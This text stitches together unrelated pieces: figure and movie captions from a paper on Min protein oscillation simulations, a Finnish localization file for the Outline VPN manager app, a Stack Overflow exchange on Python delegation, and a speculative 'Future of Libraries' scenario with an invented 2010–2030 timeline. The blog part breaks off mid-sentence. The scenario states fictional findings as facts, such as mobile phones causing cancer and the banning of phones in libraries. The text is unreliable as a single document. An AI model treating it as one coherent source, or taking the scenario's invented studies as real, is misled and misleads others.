(TIF)
######
Click here for additional data file.
###### Correlations Between Individual Parameter Variation and Change in Period of the Min Oscillation.
Each parameter is scaled from 0.9 to 1.1 times its original value while the remaining parameters are held constant. The period is then determined by taking the maximum Fourier component of each resulting simulation.
(TIF)
######
Click here for additional data file.
###### Comparison of MinD and MinD-GFP Diffusion Constants.
\(A\) Kymograph of the system with the diffusion of MinD in solution set to 24 *μm* ^2^ *s* ^-1^ (B) Kymograph grown over the same length range with the same parameters except that the MinD in solution is set to the experimental measurement for MinD-GFP of 16 *μm* ^2^ *s* ^-1^ \[[@pone.0128148.ref041]\]. The experimentally reported length where midcell antinodes occurs (3 *μm*) is marked with a red line.
(TIF)
######
Click here for additional data file.
###### An Animation of a Simulation for the Fully-labelled Min System.
Key features of this simulation include the transition from stationary to oscillating patterning after 18 seconds of animation when the cell reaches 2.7 *μm* and the transition to the second order mode at 1:30. In this animation, one second of movie corresponds to 20 seconds of real time. This movie represents the same data displayed as a kymograph in [Fig 2](#pone.0128148.g002){ref-type="fig"}.
(AVI)
######
Click here for additional data file.
###### An Animation of the Partially-labelled Min System.
The key feature of this simulation is the onset of midcell antinodes after 48 seconds. In this animation, one second of movie corresponds to 20 seconds of real time. This movie represents the same data displayed as a kymograph in [Fig 4A](#pone.0128148.g004){ref-type="fig"}.
(AVI)
######
Click here for additional data file.
###### An Animation of the Cell Division Process for the Fully-labelled Min System.
After 5 seconds of movie time, constriction begins, and proceeds through until maximally constricted at approximately 12 seconds. If constriction were to continue, complete dell division would occur at 13 seconds. In this animation, one second of movie corresponds to approximately one minute of real time. This movie represents the same data displayed as in [Fig 6A](#pone.0128148.g006){ref-type="fig"}.
(AVI)
######
Click here for additional data file.
###### An Animation of the Cell Division Process for the Partially-labelled Min System.
After 11 seconds of movie time, constriction begins, and proceeds through until maximally constricted at approximately 22 seconds. If constriction were to continue, complete dell division would occur at 24 seconds. In this animation, one second of movie corresponds to approximately 30 seconds of real time. This movie represents the same data displayed as in [Fig 6B](#pone.0128148.g006){ref-type="fig"}.
(AVI)
######
Click here for additional data file.
###### Rate Parameters for Final Model Compared to MinD Mediated MinE Binding Model.
(DOC)
######
Click here for additional data file.
###### MinD Mediated MinE Binding Alternative Model.
(DOC)
######
Click here for additional data file.
###### Breakdown of Min Patterning due to Decreasing MinE:MinD Ratio.
(DOCX)
######
Click here for additional data file.
###### Variation of Oscillation Period Due to Parameter Perturbation.
(DOC)
######
Click here for additional data file.
###### Impact of Diffusion Rescaling.
(DOCX)
######
Click here for additional data file.
We wish to thank Elisabeth Fischer-Friedrich and William Margolin for kindly supplying their raw data allowing for a direct comparison of results as shown in Figs [3](#pone.0128148.g003){ref-type="fig"} and [4](#pone.0128148.g004){ref-type="fig"}, respectively. We thank Debnath Ghosal for providing valuable experimental insight into the Min system and for reviewing the manuscript. We thank Martin Zuckermann for stimulating discussions regarding this work.
[^1]: **Competing Interests:**The authors have declared that no competing interests exist.
[^2]: Conceived and designed the experiments: JCW CNA PMGC. Performed the experiments: JCW. Analyzed the data: JCW CNA IGD PMGC. Wrote the paper: JCW CNA IGD PMGC.
|
{
"about-outline": "Outline on avoimen lähdekoodin projekti, jonka <a href={jigsawUrl}>Jigsaw</a> on luonut tarjotakseen uutisorganisaatioille ja toimittajille entistä turvallisemman pääsyn internetiin.<br><br> Outlinen tarjoaa <a href={shadowsocksUrl}>Shadowsocks</a>, ja se on vielä alkuvaiheessa. Voit osallistua koodin parantamiseen <a href={gitHubUrl}>GitHub</a>-sivustolla. Seuraa meitä <a href={redditUrl}>Reddit</a>- ja <a href={mediumUrl}>Medium</a>-sivustoilla, niin saat tietää, kun laajennamme muihin käyttöympäristöihin ja lisäämme uusia ominaisuuksia.",
"about-version": "Versio {version}",
"aws-lightsail-firewall-0": "Siirry {openLink}Amazon Lightsail{closeLink} ‑esiintymien näyttöön",
"aws-lightsail-firewall-1": "Klikkaa esiintymää, jossa haluat hostata Outlinea.",
"aws-lightsail-firewall-2": "Siirry Verkot (Networking) ‑välilehdelle.",
"aws-lightsail-firewall-3": "Klikkaa Palomuuri (Firewall) ‑osiosta Lisää toinen (Add another).",
"aws-lightsail-firewall-4": "Määritä Kohdistus (Application) ‑arvoksi Kaikki TCP + UDP (All TCP+UDP).",
"aws-lightsail-firewall-5": "Klikkaa Tallenna (Save).",
"cancel": "Peruuta",
"city-ams": "Amsterdam",
"city-blr": "Bangalore",
"city-fra": "Frankfurt",
"city-lon": "Lontoo",
"city-nyc": "New York",
"city-sfo": "San Francisco",
"city-sgp": "Singapore",
"city-tor": "Toronto",
"close": "Sulje",
"confirmation-server-destroy": "Nykyiset käyttäjät menettävät pääsyn. Tätä toimintoa ei voi kumota.",
"confirmation-server-destroy-title": "Tuhotaanko palvelin?",
"confirmation-server-remove": "Tämä toiminto poistaa palvelimen Outline Managerista, mutta se ei estä käyttäjien pääsyä välityspalvelimen kautta. Outline-palvelin täytyy lisäksi poistaa manuaalisesti isäntäkoneelta.",
"confirmation-server-remove-title": "Poistetaanko palvelin?",
"data-limits": "Datarajat",
"data-limits-description": "Määritä 30 päivän datansiirtoraja pääsyavaimille tällä palvelimella.",
"data-limits-dialog-text": "Siirry Asetukset-välilehdelle ja määritä datansiirtoraja pääsyavaimille tällä palvelimella.",
"data-limits-dialog-title": "Vältä datamäärien ylitykset",
"data-limits-disclaimer": "Datan rajoitusominaisuus on käytössä, koska käytät tällä hetkellä raportointitietoja. Lue lisää {openLink}datankeruukäytännöstä{closeLink}.",
"data-limits-usage": "{used} / {total} käytetty",
"destroy": "Tuhoa",
"digitalocean-disconnect": "Katkaise yhteys",
"digitalocean-disconnect-account": "Katkaise yhteys DigitalOcean-tiliin",
"digitalocean-unreachable": "Tämä virhe voi johtua verkkosi palomuurista tai väliaikaisesta ongelmasta digitalocean.comiin yhdistettäessä.",
"disabled": "Pois käytöstä",
"done": "Valmis",
"enabled": "Käytössä",
"error-connectivity": "Yhteyden muodostamisessa DigitalOcean-tilillesi on ongelmia. Tämä voi johtua DigitalOceanin tai internetyhteytesi väliaikaisesta ongelmasta. Yritä uudelleen. Jos se ei auta, ongelman pitäisi ratketa, kun kirjaudut uudelleen sisään DigitalOcean-tilillesi.",
"error-connectivity-title": "Yhteysongelma",
"error-do-account-info": "DigitalOcean-tilitietojen hakeminen epäonnistui",
"error-do-auth": "Todennus DigitalOceanissa epäonnistui",
"error-do-regions": "Saatavilla olevien alueiden luettelon hakeminen epäonnistui",
"error-feedback": "Palautteen lähettäminen epäonnistui. Yritä uudelleen.",
"error-hostname-invalid": "Oltava IP-osoite tai kelvollinen isäntänimi.",
"error-key-add": "Avaimen lisääminen epäonnistui",
"error-key-remove": "Avaimen poistaminen epäonnistui",
"error-key-rename": "Avaimen nimeäminen uudelleen epäonnistui",
"error-keys-get": "Avainten lataaminen epäonnistui",
"error-keys-port-bad-input": "Portin on oltava kokonaisluku väliltä 1–65 535.",
"error-keys-port-in-use": "Portti on jo käytössä palvelimella.",
"error-licenses": "Lisenssien lataaminen epäonnistui.",
"error-metrics": "Virhe otettaessa mittaritietojen jakamista käyttöön",
"error-network": "Tapahtui verkkovirhe.",
"error-not-saved": "Ei tallennettu",
"error-remove-data-limit": "Pääsyavaimen datarajaa ei voitu poistaa käytöstä",
"error-server-creation": "Outline-palvelimen luomisessa tapahtui virhe.",
"error-server-destroy": "Palvelimen tuhoaminen epäonnistui",
"error-server-removed": "DigitalOcean-tililläsi ei ole enää seuraavaa palvelinta: {serverName}.",
"error-server-rename": "Palvelimen nimeäminen uudelleen epäonnistui",
"error-server-unreachable": "Outline-palvelin on asennettu oikein, mutta siihen ei saada yhteyttä. Tämä johtuu todennäköisesti siitä, että palvelimesi palomuurisäännöt estävät saapuvat yhteydet. Tarkista säännöt ja varmista, että saapuvat TCP-yhteydet sallitaan porteissa 1024–65535.",
"error-server-unreachable-title": "Yhteyden muodostaminen Outline-palvelimeen ei onnistu",
"error-servers-removed": "DigitalOcean-tililläsi ei ole enää seuraavia palvelimia: {serverNames}.",
"error-set-data-limit": "Pääsyavaimen datarajaa ei voitu määrittää",
"error-unexpected": "Tapahtui odottamaton virhe.",
"experiments": "Kokeilut",
"experiments-description": "Testaa uudet ominaisuudet ja anna palautetta ennen niiden julkaisemista.",
"experiments-disclaimer": "Kokeiluja kehitetään, ja niitä voidaan muuttaa tai poistaa sovelluksesta. Jos käytät tällä hetkellä raportointitietoja, kokeellisten ominaisuuksien käyttö sisältyy niihin. Lue lisää {openLink}datankeruukäytännöstä{closeLink}.",
"experiments-feedback": "Onko sinulla ehdotuksia? {openLink}Lähetä palautetta täältä.{closeLink}",
"feedback-cloud-provider": "Valitse pilvipalveluntarjoaja",
"feedback-cloud-provider-error": "Valitse pilvipalveluntarjoaja.",
"feedback-connection": "Palvelimeeni ei saada yhteyttä",
"feedback-connection-others": "Muut eivät saa yhteyttä palvelimeeni",
"feedback-disclaimer": "Tiimimme pystyy vastaamaan palautteeseen vain englanniksi.",
"feedback-email": "Sähköpostiosoite (valinnainen)",
"feedback-error": "Muista lisätä palaute.",
"feedback-explanation-install": "Outlinen asentamisessa palvelimelle tapahtui virhe. Jos et ole löytänyt ratkaisua, lähetä meille palautetta ja kerro sähköpostiosoitteesi (valinnainen), jotta voimme vastata sinulle.",
"feedback-general": "Yleinen palaute",
"feedback-install": "Outlinen asentamisessa on ongelmia",
"feedback-label": "Palautteesi",
"feedback-management": "Palvelimeni ylläpitämisessä on ongelmia",
"feedback-other": "Muu",
"feedback-privacy": "Palautteesi, sähköpostiosoitteesi (jos annoit sen) ja lisätiedot, joihin viitataan {openLink}tietosuojakäytännössä{closeLink}, lähetetään Outline-tiimille.",
"feedback-submit": "Lähetä",
"feedback-suggestion": "Ehdotukset",
"feedback-title-generic": "Lähetä palautetta",
"feedback-title-install": "Outline-palvelimen asentaminen epäonnistui",
"gcp-click-create": "Klikkaa Create (Luo).",
"gcp-create-new-project": "{openLink}Luo uusi Google-pilviprojekti{closeLink}.",
"gcp-create-new-vm": "{openLink}Luo uusi VM-esiintymä{closeLink}.",
"gcp-create-project": "Luo Google-pilviprojekti",
"gcp-create-server": "Luo Google-pilviprojekti",
"gcp-create-vm": "Luo VM-esiintymä",
"gcp-firewall-create-0": "{openLink}Lisää uusi palomuurisääntö{closeLink} Compute Engine ‑projektiisi.",
"gcp-firewall-create-1": "Kirjoita Name (Nimi) ‑kenttään \"outline\".",
"gcp-firewall-create-2": "Kirjoita Target tags (Kohdetagit) ‑kenttään \"outline\".",
"gcp-firewall-create-3": "Kirjoita Source IP ranges (Lähteen IP-osoitealueet) ‑kenttään 0.0.0.0/0.",
"gcp-firewall-create-4": "Valitse Protocols and ports (Protokollat ja portit) ‑osiosta Allow all (Salli kaikki).",
"gcp-name-your-project": "Kirjoita projektin nimi Projektin nimi (Project name) ‑kenttään.",
"gcp-select-machine-type": "Valitse Laitetyyppi (Machine type) ‑kohdasta \"f1-micro\".",
"gcp-select-networking": "Valitse Ylläpito, suojaus, levyt, verkot, yksinkäyttö (Management, security, disks, networking, sole tenancy) ja valitse sitten Verkot (Networking)",
"gcp-select-region": "Valitse Alue (Region) ‑kohdasta alue, jonka lähellä palvelimen käyttäjät ovat.",
"gcp-type-network-tag": "Kirjoita Verkkotagit (Network tags) ‑kenttään \"outline\".",
"gcp-type-outline-server": "Kirjoita Nimi (Name) ‑kenttään \"outline server\".",
"key": "Avain {keyId}",
"manual-server-assign-firewall": "Määritä palomuurisääntö",
"manual-server-assign-group": "Määritä suojausryhmä",
"manual-server-create-firewall": "Luo palomuurisääntö",
"manual-server-create-group": "Luo suojausryhmä",
"manual-server-description": "Näiden ohjeiden avulla voit asentaa Outlinen Linux-palvelimelle ({cloudProvider}).",
"manual-server-firewall": "Määritä palomuuri",
"manual-server-install-paste": "Liitä asennusraportti tähän.",
"manual-server-install-run": "Kirjaudu sisään palvelimellesi ja suorita tämä komento.",
"manual-server-instructions": "Ohjeet",
"manual-server-show-me": "Näytä missä",
"manual-server-title": "Seuraa alla olevia ohjeita",
"metrics-description": "Anonyymien mittaritietojen jakaminen auttaa parantamaan Outlinen luotettavuutta ja suorituskykyä. Siitä on hyötyä sinulle ja palvelimesi käyttäjille. {openLink}Lue lisää.{closeLink}",
"metrics-share": "Jaa mittaritietoja",
"metrics-skip": "Ohita",
"metrics-title": "Mittaritietojen jakaminen",
"nav-about": "Tietoja",
"nav-data-collection": "Datan kerääminen",
"nav-feedback": "Palaute",
"nav-help": "Ohje",
"nav-licenses": "Lisenssit",
"nav-privacy": "Tietosuoja",
"nav-terms": "Ehdot",
"notification-app-update": "Päivitetty versio Outline Managerista on ladattu. Se asennetaan, kun käynnistät sovelluksen uudelleen.",
"notification-feedback-thanks": "Kiitos, että autat parantamaan palvelua ja lähetät palautetta.",
"notification-key-added": "Avain lisätty",
"notification-key-removed": "Avain poistettu",
"notification-server-destroyed": "Palvelin tuhottu",
"notification-server-exists": "Palvelin on jo lisätty",
"notification-server-removed": "Palvelin poistettu",
"oauth-account-active": "DigitalOcean-tilisi on aktivoitu.",
"oauth-account-active-tag": "Tili aktivoitu! Ladataan palvelinten sijainteja…",
"oauth-activate-account": "Aktivoi DigitalOcean-tilisi",
"oauth-billing": "Lisää laskutustietosi digitalocean.com-sivuston kautta ja palaa sitten sovellukseen.",
"oauth-billing-tag": "Lisää laskutustiedot…",
"oauth-connect-description": "Tilin avulla Outline-palvelimen luominen ja yhteyden muodostaminen on helppoa.",
"oauth-connect-tag": "Odotetaan yhteyden muodostumista tiliin…",
"oauth-connect-title": "Kirjaudu sisään tai luo DigitalOcean-tili.",
"oauth-sign-out": "Kirjaudu ulos",
"oauth-verify": "Etsi postilaatikostasi sähköposti DigitalOceanilta ja vahvista tilisi klikkaamalla viestissä olevaa linkkiä.",
"oauth-verify-tag": "Vahvista sähköpostisi…",
"okay": "OK",
"region-description": "Internetkokemuksesi tulee tästä sijainnista.",
"region-setup": "Määritä Outline",
"region-title": "Valitse palvelimen sijainti.",
"remove": "Poista",
"retry": "Yritä uudelleen",
"save": "Tallenna",
"saved": "Tallennettu",
"saving": "Tallennetaan…",
"server-access": "Palvelimen pääsyoikeudet",
"server-access-key-new": "Lisää uusi avain",
"server-access-key-rename": "Nimeä uudelleen",
"server-access-keys": "Pääsyavaimet",
"server-connect-devices": "Yhdistä laitteet",
"server-connections": "Yhteydet",
"server-data-transfer": "Siirretty data / 30 viime päivää",
"server-data-used": "Kiintiötä käytetty / 30 viime päivää",
"server-destroy": "Tuhoa palvelin",
"server-help-access-key-description": "Jaa pääsyavaimia ystäville, jotta he voivat muodostaa yhteyden Outline-palvelimeesi. He voivat käyttää samaa pääsyavainta kaikilla laitteillaan.",
"server-help-access-key-next": "Seuraava",
"server-help-access-key-title": "Luo avaimia, jaa pääsyoikeuksia",
"server-help-connection-description": "Asenna Outline-asiakassovellus klikkaamalla tätä. Käytä henkilökohtaista Outline-palvelimen pääsyavaintasi.",
"server-help-connection-ok": "Selvä!",
"server-help-connection-title": "Yhteyttä ei vielä ole!",
"server-keys": "Avaimet",
"server-my-access-key": "Oma pääsyavaimeni",
"server-name": "Outline-palvelin {serverLocation}",
"server-remove": "Poista palvelin",
"server-settings": "Asetukset",
"server-unreachable": "Palvelimeen ei saada yhteyttä",
"server-unreachable-description": "Yhteyden muodostamisessa tähän palvelimeen on ongelmia.",
"server-unreachable-managed-description": "Yritä uudelleen tai poista tämä palvelin sovelluksesta.",
"server-unreachable-manual-description": "Yritä uudelleen tai tuhoa tämä palvelin ja virtuaali-isäntä.",
"server-usage": "Käyttö (30 viime päivää)",
"servers-add": "Lisää palvelin",
"servers-digitalocean": "DigitalOcean-palvelimet",
"servers-manual": "Palvelimet",
"settings-access-key-port": "Uusien pääsyavaimien portti",
"settings-metrics-header": "Jaa anonyymeja mittaritietoja",
"settings-server-api-url": "Hallinta-API:n URL-osoite",
"settings-server-cost": "Kuukausihinta",
"settings-server-creation": "Luotu",
"settings-server-hostname": "Isäntänimi",
"settings-server-id": "Palvelimen tunnus",
"settings-server-info": "Palvelimen tiedot",
"settings-server-location": "Palvelimen sijainti",
"settings-server-name": "Nimi",
"settings-server-rename": "Määritä palvelimellesi uusi nimi. Huomaa, että muutos ei näy palvelimelle kutsumiesi käyttäjien laitteissa.",
"settings-server-version": "Palvelinversio",
"settings-transfer-limit": "Datansiirtokiintiö",
"setup-action": "Määritä",
"setup-advanced": "Edistyneille käyttäjille",
"setup-anywhere": "Määritä Outline missä tahansa",
"setup-create": "Luo palvelin",
"setup-description": "Eikö käytettävissäsi ole palvelinta? Luo DigitalOcean-tili.",
"setup-do-cancel": "Peruuta milloin tahansa",
"setup-do-cost": "Vain 5 $ kuukaudessa",
"setup-do-create": "Luo DigitalOcean-tilisi avulla uusi palvelin: jos maksat lisämaksun 5 $ / 30 päivää, datansiirtokiintiö on 1 TB.",
"setup-do-data": "1 TB:n datansiirtokiintiö",
"setup-do-description": "Tähän voi kulua kaksi minuuttia. Voit tuhota tämän palvelimen milloin tahansa.",
"setup-do-easiest": "Helppo määritys",
"setup-do-title": "Outlinea määritetään",
"setup-firewall-instructions": "Palomuurin ohjeet",
"setup-recommended": "Suositus",
"setup-simple-commands": "Yksinkertaiset asennuskomennot",
"setup-step-by-step": "Vaiheittainen määritysopas",
"setup-tested": "Testattu seuraavissa palveluissa: VULTR, Linode ja Liquid Web",
"setup-title": "Valitse pilvipalvelu Outlinen määrittämistä varten.",
"share-description": "Kopioi tämä kutsu ja lähetä se viestintävälineellä, johon luotat. {openLink}Tarvitsetko ohjeita?{closeLink}",
"share-invite": "Voit muodostaa yhteyden Outline-palvelimeeni. Sen kautta voit käyttää avointa internetiä mistä paikasta tahansa. Seuraa kutsulinkin ohjeita alta ja lataa Outline-sovellus yhteyden muodostamista varten.",
"share-invite-copied": "Kopioitu leikepöydälle",
"share-invite-copy": "Kopioi kutsu",
"share-invite-copy-access-key": "Kopioi pääsyavain:",
"share-invite-instructions": "Seuraa GitHubissa olevia kutsuohjeita:",
"share-invite-trouble": "Onko kutsulinkin käytössä ongelmia?",
"share-title": "Jaa pääsy",
"survey-data-limits-title": "Auta meitä ymmärtämään, miten voimme parantaa datarajoja",
"survey-decline": "Hylkää",
"survey-disclaimer": "Kun valitset Jatka, sinulle lähetetään lyhyt Google Forms ‑kysely. Suosittelemme, että vastaat kyselyyn Outline-yhteyden aikana.",
"survey-go-to-survey": "Siirry kyselyyn",
"terms-of-service": "Olen lukenut ja ymmärtänyt {openLink}Outlinen käyttöehdot{closeLink}"
} |
Q:
Delegates in python
I've implemented this short example to try to demonstrate a simple delegation pattern. My question is. Does this look like I've understood delegation right?
class Handler:
def __init__(self, parent = None):
self.parent = parent
def Handle(self, event):
handler = 'Handle_' +event
if hasattr(self, handler):
func = getattr(self, handler)
func()
elif self.parent:
self.parent.Handle(event)
class Geo():
def __init__(self, h):
self.handler = h
def Handle(self, event):
func = getattr(self.handler, 'Handle')
func(event)
class Steve():
def __init__(self, h):
self.handler = h
def Handle(self, event):
func = getattr(self.handler, 'Handle')
func(event)
class Andy():
def Handle(self, event):
print 'Andy is handling %s' %(event)
if __name__ == '__main__':
a = Andy()
s = Steve(a)
g = Geo(s)
g.Handle('lab on fire')
A:
One Python tip: you don't need to say:
func = getattr(self.handler, 'Handle')
func(event)
just say:
self.handler.Handle(event)
I'm not sure what you are doing with your Handler class, it isn't used in your example.
And in Python, methods with upper-case names are very very unusual, usually a result of porting some existing API with names like that.
A:
That's the basic concept, yes - passing on some incoming request to another object to take care of.
|
Future of Libraries (Draft Scenario 1)
This is a world of distant thunder, where people have become alarmed about the health of the planet, especially the destructive effects of global growth and rampant consumerism. Following a series of highly destructive weather events, financial catastrophes and pandemics, people turn against the globalists, the techno-futurists and the multi-nationalists to look for simpler and more sustainable solutions closer to home. This is a world of strong family ties where people trust each other. It is also a world where people are drawn to things that don’t change, where free public spaces that are open to old and young alike are valued and protected.
Hence the idea of local living gains momentum, which, ironically, becomes a global movement. The leaders of the campaign then merge their ideas with those of a number of other likeminded movements, including the Slow Cities movement and the Fair Trade Alliance, and the Commonsense Revolution is born.
This is a sustainable world of switching things off, living on less and doing without certain things. It is intensely local, fiercely authentic, more emotional, less rational, more reflective and multi-sensorial. Climate change and resource shortages mean that energy efficiency is a key priority and local governments fund small grassroots campaigns to persuade people to generate their own power and recycle their own water. Grants also encourage people to grown their own food and large areas of publicly owned land are given over to city-farms and village growing co-operatives.
Alternative energy is key feature of this world, although most of the solutions remain fairly low-tech. Power generation shifts to local networks to avoid losses due to transmission and most homes, offices and public buildings generate at least some of the power they require through a mixture of solar and wind power.
Use of fossil fuels is significant for many decades (especially in transportation and manufacturing) but the mixture of high prices and green taxation means that the days of oil, coal and gas are numbered.However, at a domestic level change takes hold far sooner. The use of electrical goods declines and there is a slow but significant drift back towards analogue and human-powered technologies due to reliability and cost considerations. Hence, $2,000 tumble dryers are thrown out and recycled in favour of $20 washing lines. Cars are replaced with scooters and bicycles, people make and mend their own clothes and children start walking to school again.
Use of the internet, social networks and virtual worlds also decline, partly due to cost. This doesn’t mean that all technology is rejected, simply that people think carefully about what they need and try to achieve some level of balance by weighing up the personal against the collective disadvantages. Technology is balanced against overall human needs.
The only exception to the widespread rejection of electronics is the mobile phone. The use of mobiles increases for a number of years but eventually starts to fall off following a number of research studies linking mobile phone use to EMF radiation and cancer. Local governments then start to ban the use of mobiles in government building such as schools, hospitals and libraries.
To begin with this provokes a number of protests, especially from young users, who organise flash-mob protests, but eventually people accept the ruling and divert their calls to landline telephones instead. This co-incidentally proves to be an extremely good idea because landlines turn out to be far more resilient against power blackouts and phone viruses.
Work, too, is localised. There are still people that travel vast distances to work by public transport and there are those that travel the world in search of meaningful employment or escape. But by and large people shift their employment needs and leisure diversions to things that are more local. Work-life balance remains a key part of this equation, with many people giving up a proportion of their income in return for less travel or less stress. This means there is a gradual drift away from the big cities towards smaller towns and villages although some people, especially singles, are still attracted to major urban areas, which are now more ordered and calmer than they were in 2009.
In terms of information, things start to change here too. The production of new information declines substantially due to the slow shift away of the internet and digital devices. There is also a noticeable shift by consumers of information towards quality sources. In most instances trusted sources are fairly local, although a handful of well-established global infotainment brands and academic information publishers
do extremely well.
The movement towards safe sources also benefits physical books. e-Books are widely rejected due to concerns about sustainability but also because there is a feeling that digital devices like these benefit nobody over the longer-term. For example, a series of scientific studies demonstrates that the repeated use of mobile devices during the early part of the 21st century led to a decline in empathy due to a focus on the self and also a reduction in overall intelligence due to a lack of contextual understanding. People also believe that e-books accelerate the outsourcing of the human mind and user underestimate the literal and figurative sense of weight that is part of the analogue reading experience.
Physical books (including old and second-hand books) therefore make a rather unexpected re-appearance and physical libraries do well too because they are perceived as important pillars of the local community where people can physically interact and converse. Thus, libraries are transformed into local information centres, dispensing vital community information and also providing a physical refuge where disadvantaged groups can seek protection as well as knowledge.
Government funding for libraries remains low in this world, partly because economic growth is now restrained but also because environmental security and the health of the ageing population remain higher priorities. A new Libraries Act also signals a shift towards the introduction of more user-pays services and an end to what some library users consider ‘restrictive’ practices. Staffing is therefore tight but libraries cope with surging user demand by recruiting multi-skilled personnel and also by enticing retired knowledge workers to work part-time.
It is not all good news though. Libraries struggle to maintain old buildings, which are regularly attacked by the wild weather and there is also pressure from local government to make the buildings as green as possible and to add as many government services as physically possible.
Draft Timeline — Scenario #1
2010
Library visits up 4.25% over previous year and 17.49% over past 5 years
New strain of H5N1 influenza emerges and kills 250,000 in China alone
The Murray River records lowest ever flow of 88 gigalitres in January 2010
Collapse of Macquarie Bank sparks dancing protests again globalisation
Study finds that attention spans have declined to 2-minutes for teens.
Local newspapers resist widespread shift to e-news
Report claims that the average avatar uses more energy than the average German
Online banking accounts tumble in favour of local branches
The local living movement starts in Parkes and spreads throughout NSW
Library visits up 12% on 2009
2011
Launch of Local Living magazine. First print run is 100,000 copies
American Express (aka American Excess) loses major class action in US
Biofuel production blamed for death of 150,000 children in India
Australia records driest year on record
Local Living circulation now at 200,000 copies per month
Widespread flooding in USA
Commonwealth Bank opens series of branches inside libraries
Climate change and work-life balance key issues in Australian federal election
Slow Cities movement signs up councils across Europe — traffic banned at weekends
Sony successfully sued in France for peddling addictive video games
2012
Felix Denis buys Local Living magazine. US edition sells 950,000 in first month
CSIRO unveils nano ‘wallpaper’ for use on roofs and sides of houses
Water restrictions re-introduced and made permanent in most Australian cities
New-build swimming pools banned whilst existing pools attract pool tax
Google zeitgeist announces that ‘sustainability’ was 8th most popular search in 2011
Washing machine sales tumble by 50% year on year
Amazon withdraws Kindle 3 from sale in Australia
Global boycott of plastic packaging extends to plastics used in technology devices
Robotic pets the biggest flop of Christmas 2012
Bob Dylan’s Shelter from the Storm is re-released on vinyl and sells 900,000 copies
2013
People start to fill in swimming pools to grow vegetables
Launch of the ‘Analogue Coalition’ to protect physical books and letter writing
Study by the Australia Institute claims that 45% of households have downshifted
Article in newspaper claims that second-hand bookshops opening at rate of ten a week
Survival store opens next door to the Apple store in George Street, Sydney
IAG refuse to insure any real estate situated within 5km of the coast
Boom in sale of domestic security products
Dick Smith launches Battler’s Bank
European Union collapses in face of rising nationalist sentiment
Oil now at $160 a barrel and rising
Boycott of plastic toys knocks 30% of Hasbro’s share price in US
2014
McDonald’s announce that their menu is now 100% local and organic
Car sales down 20% with the exception of city runabouts
Apple stores burnt down. Slogans on pavements outside include people not machines
Major shift towards home-based leisure announced by Mintel Research
85% of adults in Australia claim they would like to be a civil servant
Number of robots in domestic service worldwide drops from 4 million to 657,000
30% of children now either walk or cycle to schools (up from 9% in 2007)
Chinese economy turns inwards after GDP growth slips to 4%
Wikipedia starts to publish physical encyclopaedias
2015
Local governments announce library grants for citizen-preservation of local history
Sales of Dutch bicycles increase four fold in six-months
Government announces that the weight of the average child has fallen by 5%
Reports says that walking speeds in major cities have fallen by 5% in 5 years
95% of ocean fish now below sustainable levels
76% of young adults now a member of at least one single issue action group
Volume of traffic on UK roads drops by 30%
PEW report claims that 76% of Americans have nil or negative net worth
Insurance on property now represents 25% of global GDP
2016
Study shows link between mobile phone use and childhood leukaemia
Local governments ban use of mobile phones in schools and hospitals
Ban extended to all government building including libraries
Teens gather outside schools to protest against phone bans
Police able to fine parents that place TVs or computers in children’s rooms
Penn State University says average person has 50 hours of free time per week
33% of Chinese patent applications are to do with bicycles or e-scooters
2017
Second study finds definitive link between mobile phones and brain cancer
Mobile phone sales fall by 800% in six months
Local governments announce grants to ‘green’ old library buildings
6 out of 10 of the fastest growing companies in the US are environment related
Newspaper says that office productivity has increased 25% since death of Twitter
25% of Silicon Valley start-ups now clean tech related
Chinese economy collapses following major banking scandal
Google abandons book digitalisation project citing copyright issues
2018
BBC media buys the Australian physical newspaper assets of News Corporation
US v Google anti-trust case results in break-up and sale of library assets
Book sales now exceed lottery ticket sales worldwide
Average life expectancy in Asia now 65 and falling
Invention of paper announced as ‘world’s greatest’
Deceleration named as the #1 trend of 2018 by What’s Next report
Study finds that investment in technology has no noticeable impact on intelligence
2019
Oil hits $200 a barrel
Fresh water now largely priced by time of use x litres
Survivalism for Dummies is the runaway publishing hit of 2019
List of best professions includes; green architects, teachers, booksellers and librarians
40% of bank loans now used to improve the energy efficiency of real estate
Local government places restrictions on the use of technology in classrooms
Russia turns off gas pipeline to Europe citing resource security issues
2020
NPR report says that library use has quadrupled over the past 20 years
YouGov report says that stress costs the UK economy £66 billion per year
Readers Digest named as most trusted media brand alongside BBC and ABC
Series of scandals relating to accuracy of information used by Fox News
2021
Libraries introduce free health screening for over 55s
Rising sea levels cause mass population movements globally
77% of people say that they expect everything to be lots worse next year
‘Library on a bike’ a major hit across Asia
Local government allocates funds for development of mobile library network
Libraries experience surging demand for survivalist books and especially talks
2022
Reports says that more people know their neighbours names that 25 years ago
Sales of fountain pens up 80% in Japan
ABC childcare in second collapse as parents shift towards home-based work
Best selling book of 2022 is Books and Other Things that are Supposed to be Dead
Libraries sell board games
2023
Report says that average number of real friends has risen from 4 to 9 in 10 years
Libraries attract funding for series of events on Slow Living
Sales of garden equipment up 400% since 2019
Evening chess nights a surprise hit in local libraries
2024
Oxford University study claims that obesity epidemic is officially over
Global demand for flood engineers outstrips supply by 500:1
High winds kill 2010 overnight in Melbourne
Woolworth’s announces launch of farmer’s markets in all its car parks from Feb 2025
2025
Libraries offer free language services for recently arrived migrants
Extended Financial Families become the dominant household type in Australia
Laptop computers banned in public libraries
Report by Library Council of NSW says that paper is most durable media format
2026
Imported bottled water now banned although some supplies manage to drip through
Libraries become pivotal in tackling social exclusion
Libraries create events to build community identity and develop citizenship
Best selling book of 2026 is Books and other Things that are Supposed to be Dead
2027
Reports claims that Australia has lost 5% of its coastline due to erosion.
Increase in demand for wind-up products, especially radios and torches
2028
Book by James Lovelock Jnr claims that 98% of human race will be extinct by 2100
78% of people say they wish James Lovelock jnr would become extinct by 2029
New local tax on non-renewable energy consumption
2029
White candle sales catch fire and grow 800% in a single year
Local search trend intensifies
Collection strategies switch from vocational learning to local history and environment
2030
Librarians named as ‘living national treasures’ by Local Living magazine
Report says that global happiness index is at highest level since 1945
Philanthropists divert funds to public libraries
7 Responses to Future of Libraries (Draft Scenario 1)
It has just dawned on me that whilst there is a scenario (#1) where physical books are very strong, there isn’t really one to deal with a world where e-books tank and paper remains the key medium. This is probably because such a world is so remote.
My thinking here developed after reading Hamlet’s Blackberry: Why Paper is Eternal by Joan Shorenstein. Ironically, I read this on a computer on an airplane last night but it still remains amongst the best things I”ve ever read on the difference between paper and screen reading.
Richard
You made one small gaffe, which illustrates my points on my blog about why we need a new word for reading on screens and that word is….drum roll….SCREENING…..because as you screened earlier, you mistakenly wrote that
